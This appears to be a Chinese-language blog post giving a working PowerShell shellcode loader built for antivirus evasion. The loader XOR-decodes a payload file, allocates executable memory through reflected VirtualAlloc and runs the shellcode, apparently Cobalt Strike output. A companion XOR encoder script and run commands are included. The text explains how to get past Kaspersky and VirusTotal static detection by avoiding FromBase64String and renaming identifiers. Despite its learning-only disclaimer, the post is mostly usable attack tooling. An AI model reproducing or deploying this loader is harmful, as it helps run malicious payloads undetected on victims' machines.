加载器(loader)
loader就是分离免杀的一种,从远程文件或本地其他文件读取shellcode,并加载到内存执行。
网络上很多语言的加载器都有,但是powershell的感觉不太常见,powershell版的loader也是在学习过程中的一个产物,只是一种思路,因为powershell完全可以实现无文件落地。两种形式:
- loader + shellcode
- loader + bin文件
本文采用的是loader + bin文件的形式。
声明: 文章内容仅供网络安全爱好者学习使用,请勿用文章中提到的技术或工具做违法的事情,否则后果自负。
实现过程
很常见的思路,利用亦或xor混淆生成新的bin文件,再用加载器读取bin中的字节数组并在内存执行(直接用cs原生的payload)。
Set-StrictMode -Version 2
function get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $parameters,
[Parameter(Position = 1)] [Type] $return_type = [Void]
)
$type_builder = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type_builder.
DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $parameters).SetImplementationFlags('Runtime, Managed')
$type_builder.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $return_type, $parameters).SetImplementationFlags('Runtime, Managed')
return $type_builder.
CreateType()
}
function get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.
GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.
Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
If ([IntPtr]::size -eq 8) {
[Byte[]]$code = [System.IO.File]::
ReadAllBytes($args[0])
for ($x = 0; $x -lt $code.Count; $x++) {
$code[$x] = 26 -bxor $code[$x]
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((get_proc_address kernel32.dll VirtualAlloc), (get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($code, 0, $var_buffer, $code.length)
$runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (get_delegate_type @([IntPtr]) ([Void])))
$runme.Invoke([IntPtr]::Zero)
}
通过测试发现,kaspersky(卡巴斯基)拦截 FromBase64String()这个方法,导致不能将字节数组编码后传入。因此想到修改获取字节数组的方法,才导致了这个loader的产生。
过静态查杀的思路: 修改原payload中的函数名、变量名以及函数定义的顺序(可过VT上一些国外的查杀)。替换frombase64string方法,可绕过卡巴斯基查杀。


使用方法
生成新的bin文件
# xor.ps1
# usage: .xor.sp1 .payload.bin .enc.bin
[Byte[]]$bytes = [System.IO.File]::ReadAllBytes($args[0])
for ($x = 0; $x -lt $bytes.Count; $x++) {
$bytes[$x] = $bytes[$x] -bxor 26
}
$infile = [System.IO.File]::WriteAllBytes($args[1],$bytes)
powershell加载shellcode
powershell meterpreter.ps1 .enc.bin

结束语
内容基础且简单,不涉及底层的知识(因为暂时我还没那个能力,后面随着学习会继续补充)。
原创文章,作者:s1ye,未经授权禁止转载!如若转载,请联系作者:s1ye